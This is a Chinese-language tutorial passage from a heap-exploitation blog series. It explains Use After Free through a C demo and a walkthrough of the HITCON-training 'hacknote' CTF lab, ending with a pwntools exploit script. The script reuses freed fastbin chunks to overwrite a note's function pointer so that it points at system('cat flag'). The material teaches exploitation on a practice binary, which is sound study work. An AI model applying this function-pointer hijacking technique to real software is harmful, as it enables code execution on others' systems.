到了Use After Free啦，總體來說這種手法並不複雜，特徵也很明顯，就是在靜態分析階段觀察釋放chunk之後指標是否置空。本以為參加hw會往後拖更，沒想到這麼快就寫完了。如果前面一直跟著學的話這部分也應該難不到你，我會在接下來的Fastbin Attack等你，加油~

編寫不易，如果能夠幫助到你，希望能夠點贊收藏加關注哦Thanks♪(･ω･)ﾉ

往期回顧：
好好說話之unlink
好好說話之Chunk Extend/Overlapping
好好說話之off-by-one
…

Use After Free

原理

我們可以直接從字面上翻譯它的意思：使用被釋放的記憶體塊。其實當一個記憶體塊被釋放之後重新使用有如下幾種情況：

• 記憶體塊被釋放後，其對應的指標被設定為NULL，再次使用時程式會崩潰
• 記憶體塊被釋放後，其對應的指標沒有被設定為NULL，在它下一次被使用之前，沒有程式碼對這塊記憶體塊進行修改，那麼程式有可能可以正常運轉
• 記憶體塊被釋放後，其對應的指標沒有被設定為NULL，但是在下一次使用之前，有程式碼對這塊記憶體進行了修改，那麼當程式再次使用這塊記憶體時，就很有可能出現問題

我們再來看一下正常釋放之後是怎麼將指標設定為NULL的，這裡參照一下前面好好說話之Chunk Extend/Overlapping中題目的原始碼舉例：

我們一般所指的Use After Free漏洞主要是後兩種，一般將釋放後沒有被設定為NULL的記憶體指標為dangling pointer

舉例講解

//gcc -g test.c -o test
  1 #include <stdio.h>
  2 #include <stdlib.h>
  3 typedef struct name {
  4   char *myname;
  5   void (*func)(char *str);
  6 } NAME;
  7 void myprint(char *str) { printf("%s\n", str); }
  8 void printmyname() { printf("call print my name\n"); }
  9 int main() {
 10   NAME *a;
 11   a = (NAME *)malloc(sizeof(struct name));
 12   a->func = myprint;
 13   a->myname = "I can also use it";
 14   a->func("this is my function");
 15   free(a);
 16   a->func("I can also use it");
 17   a->func = printmyname;
 18   a->func("this is my function");
 19   a = NULL;
 20   printf("this pogram will crash...\n");
 21   a->func("can not be printed...");
 22 }

簡單的解釋一下這段程式碼，首先建立了一個結構體name：

  3 typedef struct name {
  4   char *myname;
  5   void (*func)(char *str);
  6 } NAME;

這個結構體有兩個成員變數，第一個是char型別的字串指標 ，第二個是建立的函數指標

  7 void myprint(char *str) { printf("%s\n", str); }
  8 void printmyname() { printf("call print my name\n"); }

接下來 定義了兩個函數：myprint和printmyname

• myprint()函數 ：需要傳入一個char型別的字串引數，函數執行會列印出傳入的字串
• printmyname()函數：函數執行會列印出」call print my name「字串

 10   NAME *a;
 11   a = (NAME *)malloc(sizeof(struct name));
 12   a->func = myprint;
 13   a->myname = "I can also use it";
 14   a->func("this is my function");

接下來看一下main函數部分，首先建立了一個結構體指標a並分配空間，使得a結構體的func成員變數等於 myprint()函數，並且傳入了字串引數」this is my function「，使得myname成員變數賦值為"I can also use it"。因為在編譯的時候加了-g引數，我們使用gdb偵錯一個這個程式，在第15行下個斷點看一下執行結果：

看一看到列印出了傳入的字串引數

 15   free(a);
 16   a->func("I can also use it");

接下來釋放了a結構體，但是注意結構體指標在釋放後沒有置空，在釋放之後再一次呼叫func成員變數中的myprint()函數，並傳入字串引數」I can also use it「，我們繼續在17行下斷點並執行：

可以看到myprint()函數依然可以被呼叫，並且成功執行列印出字串。我們繼續往下看：

 17   a->func = printmyname;
 18   a->func("this is my function");

接下來不僅僅是對函數的呼叫了，而是直接將func成員變數中的函數指標更改成了printmyname()函數，並且呼叫func成員變數。雖然printmyname()函數不需要引數，但為了能夠讓程式認為這裡依然是myprint()函數，並且認為我們的操作是合法的，所以傳入了引數"this is my function"。我們在19行下斷點，並執行：

可以看到，即使我們改變了成員變數中的函數指標，依然可以順利執行printmyname()函數，並列印出printmyname()函數中原有列印「call print my name」的功能

 19   a = NULL;
 20   printf("this pogram will crash...\n");
 21   a->func("can not be printed...");

繼續往下看，我們將a結構體置空，列印出一個提示字串，這樣一來我們再一次呼叫func成員變數。我們在第22行下斷點並執行：

可以看到只出現了提示標語，而沒有出現呼叫func成員變數執行printmyname()函數的功能。這樣一個例子可以很直觀的體現出結構體指標在釋放之後置空的重要性，以及沒有置空情況下我們可以做些什麼

例題 ： hitcon-training-hacknote

這裡我們以 HITCON-training 中的 lab 10 hacknote 為例

檢查保護

可以看到這是一個32位元的程式，開啟了canary和NX保護。這裡注意了，進入堆領域以來我們做的都是64位元程式，所以在靜態分析階段會習慣性的開啟ida x64，但是依然還是會有32位元程式，不要搞錯了。後面在動態分析階段我會提醒你32位元程式在分析時和64位元有什麼區別

靜態分析

還是老規矩，鍛鍊自己靜態分析的能力，儘可能的在這個階段蒐集好可能會用到的資訊，開啟ida x86我們看一下：

主函數

通過對main函數的解析，我們可以看到pwn堆這部分的題套路好像都是差不多，都是先做一個選擇，然後執行各種功能。簡單的解讀一下這個程式碼，首先是執行menu()函數，可以在右面看到menu()函數其實就是個介面提示，對應著左側的程式碼，當輸入1時呼叫add_note()函數執行新增功能，當輸入2時呼叫del_note()函數執行刪除功能，當輸入3時呼叫print_note()函數執行列印功能

新增功能：add_note()

簡單的講解一下add_note()函數的功能，首先第一個判斷說明的是最多建立5個note，接下來回圈5次，程式會判斷notelist + i的位置是否已經有malloc指標，這裡需要注意的是i是從0開始的，也就是說note的id是從0開始的。這個notelist其實是bss段的一個全域性變數（紅框），裡面存放的都是malloc指標，也就是結構體指標，其地址為0x0804A070。在判斷之後發現這個位置並沒有結構體指標，那麼就會建立一個8位元組的chunk，後簡稱struct_chunk。需要注意的是因為這個程式時32位元的，所以8個位元組是兩個地址位寬，也就是說這兩個地址位寬中存放的其實是兩個成員變數

在判斷之後會在notelist + i位置放置print_note_content()函數指標，可以在右側看到print_note_content()函數需要傳入一個int型的引數，並列印出整型 +4的地址處的內容。接下來會列印字串提示建立note的大小，外部輸入的數值會存放到size變數中。v0變數以整型的形式裝載結構體指標，並且在整型 + 4的地址處開闢size大小的chunk，後簡稱content_chunk，接下來是判斷是否建立成功。如果建立成功則提示輸入note的內容，程式會呼叫read函數將輸入的內容放在*((void **)*(&notelist + i) + 1處，這裡的+1其實是加一個地址位寬處的地址，也就是content_chunk中。並且read函數的三參是size，所以這裡無法進行溢位

通過前面的分析，我們可以很清晰的看出整個結構體的結構，並且由於struct_chunk和content_chunk都是根據notelist的偏移來的，所以兩個chunk一定是緊緊貼在一起的。我們把靜態分析和程式結合起來，用程式碼的形式自動化完成這部分功能的呼叫：

刪除功能：del_note()

簡單的說一下這個刪除功能，首先提示需要刪除的圖書id，接下來會將輸入的數位賦給v1變數。if判斷輸入的數值是否合法，如果合法下一個if判斷notelist + v1的位置是否有結構體，如果有的話首先釋放的是content_chunk，然後釋放的是struct_chunk。這裡就出現了釋放之後chunk指標不置空的問題，很有可能觸發Use After Free

我們把靜態分析和程式結合起來，用程式碼的形式自動化完成這部分功能的呼叫：

列印功能：print_note()

簡單的說一下列印功能，還是首先提示輸入需要列印的note的id，接下來做一個合法性判斷，第二個if判斷notelist + v1位置是否有結構體被建立，如果有則列印content_chunk中的內容。這裡有點繞的地方就是怎麼列印的：

(*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1))

我們拆開來看，首先第一個&notelist + v1代表的是print_note_content()函數，因為在建立note功能的時候print_note_content()函數指標就是放在結構體的第一個成員變數中的，後面的(*(&notelist + v1))其實是print_note_content()函數的引數，我們再將print_note_content()函數拿出來：

(*(&notelist + v1))本身其實是個地址，但是存入print_note_content()函數後被強制轉換成int型，+ 4之後其實是加了4個位元組，也就是正好到content_chunk的位置，就相當於puts(content_chunk)

我們把靜態分析和程式結合起來，用程式碼的形式自動化完成這部分功能的呼叫：

flag

在ida左側的函數欄中還可以發現一個叫magic()的函數，這個函數執行的是system("cat flag")，壓參的地址為0x0804898F，也就是說我們需要使用這個system函數來拿flag

動態偵錯

嘗試

通過靜態分析階段的探索，我們知道了如下兩個重要的點：

• 出現問題的點：在釋放後沒有將chunk指標置空
• chunk指標起始位置為notelist全域性變數的地址：0x0804A070
• system(「cat flag」)地址為：0x0804898F

在得到這兩個關鍵資訊後就可以著手嘗試動態偵錯了，嘗試的目的主要是在gdb中檢視一下chunk之間的排列結構，進而判斷應該溢位還是會重複申請釋放。那麼就先嚐試和建立兩個24個位元組的note。gdb執行程式，並在主程式中選擇1選項建立兩個24個位元組的note，由於malloc指標存放在0x0804A070處，所以使用命令x/20wx 0x0804A070檢視一下：

可以看到這兩個就是note1和note2的malloc指標：0x0804b008和0x804b038。但是這裡需要注意的是malloc指標其實指向的是chunk的內容部分，如果想要看完整的chunk結構體還要減去0x8（64位元減0x10），因為需要把prev_size和size部分讓出來。我們直接使用命令x/30wx 0x0804b000（0x0804b008 - 0x8）檢視一下這幾個chunk的分佈情況：

可以看到，展現的樣子和我們前面靜態分析階段得出的結論一樣，struct_chunk和content_chunk是緊緊挨在一起的，圖形化結構如下：

可能出現的問題：為什麼申請的兩個note要24個位元組呢？

下個環節解答~

確定目標

雖然chunk在一起，但是無法進行溢位。沒有修改功能，也不能自己構造結構體。那麼只能去考慮釋放與重新申請的過程中能夠有所突破。在實施嘗試之前我們需要確定一下要更改的目標：

沒有溢位，無法構造，那麼就只能將目光放在結構體中的print()函數指標上了，因為只有這裡指向的位置才具有一定的執行功能，假設我們將print()函數指標替換成system(「cat flag」)指標就可以拿到flag了，那我們就隨便選一個吧，將note0的print()函數指標替換掉

回答問題：為什麼申請的兩個note要24個位元組呢？

其實note的content_chunk的大小無關緊要，隨便申請多大的都可以（我沒試過超出bin的），因為我們的目標在結構體struct_chunk中，所以只要content_chunk超過8個位元組不影響接下來的操作就行

可能會出現的問題：為什麼content_chunk一定要超過8個位元組呢

下個環節解答

偷天換日

既然確定了目標，那麼接下來考慮的就是怎麼將print()函數指標替換成system(「cat flag」)。從我們以往做題的經驗來看，所有更改執行流程的動作都是由資料來操作的，也就是說我們必須能夠從外部輸入，雖然沒有修改功能，但是我們有建立功能啊。回想一下前面做過的題，舉個栗子，假設在一個32位元程式中，如果我們申請一個8位元組的chunk，恰好bin中有一個空閒的16個位元組（8 + 8）的chunk，那麼就會直接從bin中摘這個16位元組的chunk為我們所用。那麼回到這題上，先將這兩個note釋放掉我們看一看，首先釋放note1，再釋放note0：

可以看到在釋放note0和note1之後兩個struct_chunk指標排進fastbin的0x10單向連結串列，兩個content_chunk指標排進fastbin的0x20單向連結串列，他們之間的結構如下：

這個時候我們想想，結構體本身就是8個位元組，如果在申請一個8位元組的content_chunk的話那麼程式是不是就會直接在fastbin的0x10單向連結串列中分配給我們兩個0x10的chunk了。這裡有一點需要注意申請的先後順序，在前面在靜態分析階段，通過對新增功能的分析，我們瞭解到是現申請8個位元組的struct_chunk，然後在申請size大小的content_chunk：

由於note0是後釋放的，所以在fastbin中先被摘除，所以原note1的結構體struct_chunk1空間被重新啟用作為note2的結構體struct_chunk2。接下來被摘除的是原note0的結構體struct_chunk0空間，被重新啟用作為note2的內容content_chunk2：

這樣一來在建立向content_chunk中寫資料的時候直接寫上system(「cat flag」)地址，那麼sys_addr就會寫在原有結構體0的print()函數指標的位置

拿flag

那麼通過對note2的建立，將原有note0的print()函數指標修改成了sys_addr。這樣一來由於在釋放chunk之後指標沒有置空，所以我們依然還可以呼叫note0中的列印功能，所以直接在主介面選擇3列印選項，輸入要列印的id為0的note，就可以觸發system(「cat flag」)了！

EXP

from pwn import *

hollk = process('./hacknote')


def addnote(size, content):
    hollk.recvuntil(":")
    hollk.sendline("1")
    hollk.recvuntil(":")
    hollk.sendline(str(size))
    hollk.recvuntil(":")
    hollk.sendline(content)


def delnote(idx):
    hollk.recvuntil(":")
    hollk.sendline("2")
    hollk.recvuntil(":")
    hollk.sendline(str(idx))


def printnote(idx):
    hollk.recvuntil(":")
    hollk.sendline("3")
    hollk.recvuntil(":")
    hollk.sendline(str(idx))

magic = 0x0804898F #在ida裡面找

addnote(32, "aaaa")
addnote(32, "ddaa")

delnote(0)
delnote(1)

addnote(8, p32(magic))
printnote(0)

hollk.interactive()

執行結果如下：